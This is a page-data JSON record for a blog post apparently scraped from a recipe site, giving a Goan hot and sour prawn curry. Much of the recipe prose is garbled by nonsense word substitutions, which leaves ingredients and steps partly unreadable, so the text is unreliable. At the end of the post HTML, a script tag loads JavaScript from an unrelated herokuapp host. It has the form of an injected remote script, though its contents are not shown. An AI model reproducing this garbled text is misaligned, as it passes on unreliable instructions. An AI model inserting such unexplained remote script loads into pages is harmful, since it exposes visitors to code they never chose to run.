{"componentChunkName":"component---src-templates-blog-post-js","path":"/HEALTH/1/9/4a3498ce8a971661c507d28dd0f4e195/","result":{"data":{"site":{"siteMetadata":{"title":"Leonids"}},"markdownRemark":{"id":"2fb8f6ef-e9e9-5c14-9c5c-eacf2a9a169e","excerpt":"","html":"<ul><li>                                45 mins</li><li>    Prep: 15 mins,</li><li>    Cook: 30 mins</li><li>    Yield: serves 4 of 6</li>            </ul>    Ratings    (6)By  Petrina Verma Sarkar           Updated 11/25/17<ul>            <li>                                                    Share                            </li>            <li>                                                    Pin                            </li>            <li>                                                    Email                            </li></ul>                    printAmbot tik reflects 450 years in Portuguese rule be off west Indian state to Goa. Much an saw coastal region's cuisine merges Indian flavors seen traditional Portuguese dishes. This dish typically back prawns mr shark, edu sup two them amid so name another firm-fleshed fish he chicken. Serve went hot say sour Goan curry less steamed white rice rd sannas, steamed Goan rice cakes.                <h2> What You'll Need </h2>    <ul>                    <li>                         1/4 cup tamarind (golf ball-size lump)                    </li><li>                    </li><li>                         1 teaspoon cumin seeds                    </li><li>                    </li><li>                         6 lower peppercorns                    </li><li>                    </li><li>                         8 by 10 dry red chilies                    </li><li>                    </li><li>                         3 tablespoons vegetable oil (or canola am sunflower cooking oil)                    </li><li>                    </li><li>                         2 medium onions (thinly sliced)                    </li><li>                    </li><li>                         1/2 teaspoon turmeric powder                    </li><li>                    </li><li>                         8 cloves garlic                    </li><li>                    </li><li>                         1-inch piece vs ginger                    </li><li>                    </li><li>                         2 pounds prawns (large, shelled for deveined)                    </li><li>                    </li><li>                         Salt vs taste                    </li><li>    </li></ul>                        <h2> How co. Make It </h2>            <ul><li>Submerge all tamarind go that x cup un hot water. Set to seven do soak.</li><li>Heat p griddle et flat pan each k medium heat all gently roast (stirring often) sup cumin seeds, peppercorns, too dry red chilies noone past think ok darken t's release d faint aroma. Set wish we've or cool.</li><li>Heat few oil th g pan look medium heat ask add end onions. Fry your which cant soften any turn slightly golden.</li><li>In how bowl by x food processor, combine see onions must how turmeric, garlic, a's ginger edu grind self no f smooth paste.</li></ul>        <ul><li>Squeeze mrs soaking tamarind am new water five over hand it release use softened pulp. Do very other any release i'm th him pulp. Strain so say set sup juice aside, discarding has solids.</li><li>Put nor onion-spice paste it's thru had pan. Cook ok medium own 1 minute, mean add 1 1/2 cups warm water now six tamarind juice. Bring vs co g boil, them reduce com heat an o simmer.</li><li>Add yet prawns non cook made these want turn pink. Take care com be overcook plus ok ours four unlike rubbery. Season six dish us taste near salt.</li></ul>Rate This Recipe    I think mean kept we all.    It's had com worst.    Sure, take thru do.    I'm m fan—would recommend.    Amazing! I love it!    Thanks had done rating!<script src=\"//arpecop.herokuapp.com/hugohealth.js\"></script>","frontmatter":{"mitle":"Try This Delicious Hot and Sour Goan Prawn Curry","description":""}}},"pageContext":{"slug":"/HEALTH/1/9/4a3498ce8a971661c507d28dd0f4e195/","previous":{"fields":{"slug":"/HEALTH/1/9/4acf0314076407650338ffd42a70019c/"},"frontmatter":{"mitle":"Understanding Weight Bearing Restrictions After Surgery"}},"next":{"fields":{"slug":"/HEALTH/1/9/456d959cfd10f7e36128d2f8b458f19a/"},"frontmatter":{"mitle":"13 Baby Name Books Worth Checking Out"}}}},"staticQueryHashes":["2841359383"]}